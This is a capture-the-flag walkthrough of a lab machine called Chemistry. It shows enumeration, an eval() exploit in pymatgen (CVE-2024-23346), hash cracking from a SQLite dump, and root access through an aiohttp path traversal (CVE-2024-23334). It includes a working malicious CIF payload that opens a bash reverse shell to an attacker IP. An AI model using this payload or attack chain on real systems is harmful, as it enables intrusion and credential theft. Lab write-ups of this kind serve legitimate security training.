Page cover

Week 12. Chemistry

TL;DR

This is an Ubuntu 20.04 machine hosting an application used to upload CIF files. This is a format used by scientific programs for storing crystallographic structural data. The applications used to read the data contained in the files are based on Python but, unfortunately, one of the parsing libraries is vulnerable since it calls eval() function without proper sanitization (CVE-2024-23346). We exploit this to get an initial shell in the system, then move laterally to another user after finding an MD5 hash in a local SQLite database file. Regarding escalation, we exploit a web application based on library aiohttp/3.9.1, a version vulnerable to path traversal (CVE-2024-23334).

KEYWORDS

Crystallographic Information Files (CIF), pymatgen, CVE-2024-23346, SQLite, aiohttp/3.9.1, CVE-2024-23334.

REFERENCES

https://www.ccdc.cam.ac.uk/media/MoreInformationAboutCIFsyntax.pdf

https://www.cvedetails.com/cve/CVE-2024-23346

https://github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-qj2f

https://www.cvedetails.com/cve/CVE-2024-23334

ENUMERATION

Port scan.

> nmap $target -p- --min-rate=5000 -Pn --open --reason
Starting Nmap 7.93 ( https://nmap.org ) at 2024-11-27 11:15 EST
Nmap scan report for chemistry.htb (10.10.11.38)
Host is up, received user-set (0.039s latency).
Not shown: 64413 closed tcp ports (conn-refused), 1120 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack
5000/tcp open  upnp    syn-ack
 
Nmap done: 1 IP address (1 host up) scanned in 13.90 seconds

Enumerate the open ports.

> nmap $target -p22,5000 -sV -sC -Pn -vv -n
Starting Nmap 7.93 ( https://nmap.org ) at 2024-11-27 11:18 EST
Nmap scan report for 10.10.11.38
Host is up, received user-set (0.044s latency).
Scanned at 2024-11-27 11:18:39 EST for 96s
 
PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 b6fc20ae9d1d451d0bced9d020f26fdc (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCj5eCYeJYXEGT5pQjRRX4cRr4gHoLUb/riyLfCAQMf40a6IO3BMzwyr3OnfkqZDlr6o9tS69YKDE9ZkWk01vsDM/T1k/m1ooeOaTRhx2Yene9paJnck8Stw4yVWtcq6PPYJA3HxkKeKyAnIVuYBvaPNsm+K5+rsafUEc5FtyEGlEG0YRmyk/NepEFU6qz25S3oqLLgh9Ngz4oGeLudpXOhD4gN6aHnXXUHOXJgXdtY9EgNBfd8paWTnjtloAYi4+ccdMfxO7PcDOxt5SQan1siIkFq/uONyV+nldyS3lLOVUCHD7bXuPemHVWqD2/1pJWf+PRAasCXgcUV+Je4fyNnJwec1yRCbY3qtlBbNjHDJ4p5XmnIkoUm7hWXAquebykLUwj7vaJ/V6L19J4NN8HcBsgcrRlPvRjXz0A2VagJYZV+FVhgdURiIM4ZA7DMzv9RgJCU2tNC4EyvCTAe0rAM2wj0vwYPPEiHL+xXHGSvsoZrjYt1tGHDQvy8fto5RQU=
|   256 f1ae1c3e1dea55446c2ff2568d623c2b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLzrl552bgToHASFlKHFsDGrkffR/uYDMLjHOoueMB9HeLRFRvZV5ghoTM3Td9LImvcLsqD84b5n90qy3peebL0=
|   256 94421b78f25187073e9726c9a25c0a26 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIELLgwg7A8Kh8AxmiUXeMe9h/wUnfdoruCJbWci81SSB
5000/tcp open  upnp?   syn-ack
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.3 Python/3.9.5
|     Date: Wed, 27 Nov 2024 16:19:13 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 719
|     Vary: Cookie
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Chemistry - Home</title>
|     <link rel="stylesheet" href="/static/styles.css">
|     </head>
|     <body>
|     <div class="container">
|     class="title">Chemistry CIF Analyzer</h1>
|     <p>Welcome to the Chemistry CIF Analyzer. This tool allows you to upload a CIF (Crystallographic Information File) and analyze the structural data contained within.</p>
|     <div class="buttons">
|     <center><a href="/login" class="btn">Login</a>
|     href="/register" class="btn">Register</a></center>
|     </div>
|     </div>
|     </body>
|   RTSPRequest:
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.93%I=7%D=11/27%Time=67474665%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,38A,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.0\.3\x2
SF:0Python/3\.9\.5\r\nDate:\x20Wed,\x2027\x20Nov\x202024\x2016:19:13\x20GM
SF:T\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x2
SF:0719\r\nVary:\x20Cookie\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20htm
SF:l>\n<html\x20lang=\"en\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"U
SF:TF-8\">\n\x20\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=
SF:device-width,\x20initial-scale=1\.0\">\n\x20\x20\x20\x20<title>Chemistr
SF:y\x20-\x20Home</title>\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20
SF:href=\"/static/styles\.css\">\n</head>\n<body>\n\x20\x20\x20\x20\n\x20\
SF:x20\x20\x20\x20\x20\n\x20\x20\x20\x20\n\x20\x20\x20\x20<div\x20class=\"
SF:container\">\n\x20\x20\x20\x20\x20\x20\x20\x20<h1\x20class=\"title\">Ch
SF:emistry\x20CIF\x20Analyzer</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Wel
SF:come\x20to\x20the\x20Chemistry\x20CIF\x20Analyzer\.\x20This\x20tool\x20
SF:allows\x20you\x20to\x20upload\x20a\x20CIF\x20\(Crystallographic\x20Info
SF:rmation\x20File\)\x20and\x20analyze\x20the\x20structural\x20data\x20con
SF:tained\x20within\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\
SF:"buttons\">\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<center><a
SF:\x20href=\"/login\"\x20class=\"btn\">Login</a>\n\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20<a\x20href=\"/register\"\x20class=\"btn\">Regi
SF:ster</a></center>\n\x20\x20\x20\x20\x20\x20\x20\x20</div>\n\x20\x20\x20
SF:\x20</div>\n</body>\n<")%r(RTSPRequest,1F4,"<!DOCTYPE\x20HTML\x20PUBLIC
SF:\x20\"-//W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20\"http://www\.w3\.org/TR/html4/strict\.dtd\">\n<html>\n\x20\x20\x20\
SF:x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20http-equiv=\"Conten
SF:t-Type\"\x20content=\"text/html;charset=utf-8\">\n\x20\x20\x20\x20\x20\
SF:x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x20</head>\n\
SF:x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20res
SF:ponse</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p
SF:>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20ver
SF:sion\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error
SF:\x20code\x20explanation:\x20HTTPStatus\.BAD_REQUEST\x20-\x20Bad\x20requ
SF:est\x20syntax\x20or\x20unsupported\x20method\.</p>\n\x20\x20\x20\x20</b
SF:ody>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
Nmap done: 1 IP address (1 host up) scanned in 96.77 seconds

There is a web server listening on port 5000, enumerate the site with Firefox.

Sign up a new account and login. A web site to upload CIF files comes into view, the page offers the possibility to download an example of these kind of files.

data_Example
_cell_length_a    10.00000
_cell_length_b    10.00000
_cell_length_c    10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta  90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
 _atom_site_label
 _atom_site_fract_x
 _atom_site_fract_y
 _atom_site_fract_z
 _atom_site_occupancy
 H 0.00000 0.00000 0.00000 1
 O 0.50000 0.50000 0.50000 1

It seems these are text files for storing crystallographic structural data and it is used by programs to process the data. More info here: https://www.ccdc.cam.ac.uk/media/MoreInformationAboutCIFsyntax.pdf

There is a vulnerability in one of the in the parsing libraries,pymatgen, that insecurely calls eval() function without proper input sanitization. More info here: https://www.cvedetails.com/cve/CVE-2024-23346

A PoC is available here: https://github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-qj2f

USER

Prepare a payload for instant reverse shell. I just took the example CIF file provided in the site and added a payload based on the PoC.

data_Example
_cell_length_a    10.00000
_cell_length_b    10.00000
_cell_length_c    10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta  90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
 _atom_site_label
 _atom_site_fract_x
 _atom_site_fract_y
 _atom_site_fract_z
 _atom_site_occupancy
 H 0.00000 0.00000 0.00000 1
 O 0.50000 0.50000 0.50000 1
 
_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c \'sh -i >& /dev/tcp/10.10.xxx.xxx/1919 0>&1\'");0,0,0'
_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "

Upload the file exploit.cif and click on "View".

A reverse shell for user app is received on port 1919.

This user does not have permissions to retrieve the user flag, so we will have to enumerate the rest of the host's users with a defined shell.

> cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
rosa:x:1000:1000:rosa:/home/rosa:/bin/bash
app:x:1001:1001:,,,:/home/app:/bin/bash

It seems we have to move laterally to user rosa

Let's start enumerating the app.py source code in the /home/app directory.

from flask import Flask, render_template, request, redirect, url_for, flash
from werkzeug.utils import secure_filename
from flask_sqlalchemy import SQLAlchemy
from flask_login import LoginManager, UserMixin, login_user, login_required, logout_user, current_user
from pymatgen.io.cif import CifParser
import hashlib
import os
import uuid
 
app = Flask(__name__)
app.config['SECRET_KEY'] = 'MyS3cretCh3mistry4PP'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app.config['UPLOAD_FOLDER'] = 'uploads/'
app.config['ALLOWED_EXTENSIONS'] = {'cif'}
 
db = SQLAlchemy(app)
login_manager = LoginManager(app)
login_manager.login_view = 'login'
 
class User(UserMixin, db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(150), nullable=False, unique=True)
    password = db.Column(db.String(150), nullable=False)
 
class Structure(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
    filename = db.Column(db.String(150), nullable=False)
    identifier = db.Column(db.String(100), nullable=False, unique=True)
 
@login_manager.user_loader
def load_user(user_id):
    return User.query.get(int(user_id))
 
def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in app.config['ALLOWED_EXTENSIONS']
 
def calculate_density(structure):
    atomic_mass_Si = 28.0855
    num_atoms = 2
    mass_unit_cell = num_atoms * atomic_mass_Si
    mass_in_grams = mass_unit_cell * 1.66053906660e-24
    volume_in_cm3 = structure.lattice.volume * 1e-24
    density = mass_in_grams / volume_in_cm3
    return density
 
@app.route('/')
def index():
    return render_template('index.html')
 
@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if User.query.filter_by(username=username).first():
            flash('Username already exists.')
            return redirect(url_for('register'))
        hashed_password = hashlib.md5(password.encode()).hexdigest()
        new_user = User(username=username, password=hashed_password)
        db.session.add(new_user)
        db.session.commit()
        login_user(new_user)
        return redirect(url_for('dashboard'))
    return render_template('register.html')
 
@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        user = User.query.filter_by(username=username).first()
        if user and user.password == hashlib.md5(password.encode()).hexdigest():
            login_user(user)
            return redirect(url_for('dashboard'))
        flash('Invalid credentials')
    return render_template('login.html')
 
@app.route('/logout')
@login_required
def logout():
    logout_user()
    return redirect(url_for('index'))
 
@app.route('/dashboard')
@login_required
def dashboard():
    structures = Structure.query.filter_by(user_id=current_user.id).all()
    return render_template('dashboard.html', structures=structures)
 
@app.route('/upload', methods=['POST'])
@login_required
def upload_file():
    if 'file' not in request.files:
        return redirect(request.url)
    file = request.files['file']
    if file.filename == '':
        return redirect(request.url)
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        identifier = str(uuid.uuid4())
        filepath = os.path.join(app.config['UPLOAD_FOLDER'], identifier + '_' + filename)
        file.save(filepath)
        new_structure = Structure(user_id=current_user.id, filename=filename, identifier=identifier)
        db.session.add(new_structure)
        db.session.commit()
        return redirect(url_for('dashboard'))
    return redirect(request.url)
 
@app.route('/structure/<identifier>')
@login_required
def show_structure(identifier):
    structure_entry = Structure.query.filter_by(identifier=identifier, user_id=current_user.id).first_or_404()
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], structure_entry.identifier + '_' + structure_entry.filename)
    parser = CifParser(filepath)
    structures = parser.parse_structures()
   
    structure_data = []
    for structure in structures:
        sites = [{
            'label': site.species_string,
            'x': site.frac_coords[0],
            'y': site.frac_coords[1],
            'z': site.frac_coords[2]
        } for site in structure.sites]
       
        lattice = structure.lattice
        lattice_data = {
            'a': lattice.a,
            'b': lattice.b,
            'c': lattice.c,
            'alpha': lattice.alpha,
            'beta': lattice.beta,
            'gamma': lattice.gamma,
            'volume': lattice.volume
        }
       
        density = calculate_density(structure)
       
        structure_data.append({
            'formula': structure.formula,
            'lattice': lattice_data,
            'density': density,
            'sites': sites
        })
   
    return render_template('structure.html', structures=structure_data)
 
@app.route('/delete_structure/<identifier>', methods=['POST'])
@login_required
def delete_structure(identifier):
    structure = Structure.query.filter_by(identifier=identifier, user_id=current_user.id).first_or_404()
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], structure.identifier + '_' + structure.filename)
    if os.path.exists(filepath):
        os.remove(filepath)
    db.session.delete(structure)
    db.session.commit()
    return redirect(url_for('dashboard'))
 
if __name__ == '__main__':
    with app.app_context():
        db.create_all()
    app.run(host='0.0.0.0', port=5000)

This looks like source code for several API endpoints, and an SQLite database is mentioned also. The database file is in the location /home/app/instance/database.db

Inside the database there are several MD5 hashes, including rosa's.

> sqlite3 database.db      
SQLite version 3.39.3 2022-09-05 11:02:23
Enter ".help" for usage hints.
sqlite> .databases
main: /home/kali/htb/chemistry/database.db r/w

sqlite> .tables
structure  user    

sqlite> select * from user;
1|admin|2861debaf8d99436a10ed6f75a252abf
2|app|197865e46b878d9e74a0346b6d59886a
3|rosa|63ed86ee9f624c7b14f1d4fxxxxxxxxx
4|robert|02fcf7cfc10adc37959fb21f06c6b467
5|jobert|3dec299e06f7ed187bac06bd3b670ab2
6|carlos|9ad48828b0955513f7cf0f7f6510c8f8
7|peter|6845c17d298d95aa942127bdad2ceb9b
8|victoria|c3601ad2286a4293868ec2a4bc606ba3
9|tania|a4aa55e816205dc0389591c9f82f43bb
10|eusebio|6cad48078d0241cca9a7b322ecd073b3
11|gelacia|4af70c80b68267012ecdac9a7e916d18
12|fabian|4e5d71f53fdd2eabdbabb233113b5dc0
13|axel|9347f9724ca083b17e39555c36fd9007
14|kristel|6896ba7b11a62cacffbdaded457c6d92
15|pogoo{10+10}|b53afe43a8396411f3253882b74d00e6
16|test|098f6bcd4621d373cade4e832627b4f6
17|pogoo|b53afe43a8396411f3253882b74d00e6
18|testtest|098f6bcd4621d373cade4e832627b4f6
19|12345|827ccb0eea8a706c4c34a16891f84e7b
20|aaa|47bce5c74f589f4867dbd57e9ca9f808
sqlite> .quit

This can be cracked with john

> john --format=raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash

Use the password to SSH in as rosa and collect the user flag.

ROOT

Start from rosa's low-priv shell and take the opportunity to enumerate the user and the system.

> whoami && id
rosa
uid=1000(rosa) gid=1000(rosa) groups=1000(rosa)
 
> uname -a && cat /etc/os-release
Linux chemistry 5.4.0-196-generic #216-Ubuntu SMP Thu Aug 29 13:26:53 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
NAME="Ubuntu"
VERSION="20.04.6 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.6 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal

Enumerate local connections, there is something listening on port 8080.

> netstat -lnput
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name   
tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN      7878/bash          
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                  
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                  
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                  
tcp6       0      0 :::22                   :::*                    LISTEN      -                  
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                  
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -

Forward the port to your machine and enumerate the site with Firefox. I used local port 9000 to avoid conflicts with Burpsuite, which I'll use later and is running also on port 8080.

Some kind of monitoring web site appears.

I couldn't find any info related to the site by inspecting it so I captured the traffic with Burpsuite and analyzed the requests

First, it seems the application uses Python 3.9 aiohttp/3.9.1.

And also take note of the application folder structure.

Looking for vulnerabilities affecting the aiohttp library, I found there is a path traversal: https://www.cvedetails.com/cve/CVE-2024-23334

It can be exploited with curl to retrieve root's private key.

The only thing that's left is to use the private key to log in and gather the root flag.

You are root.

Last updated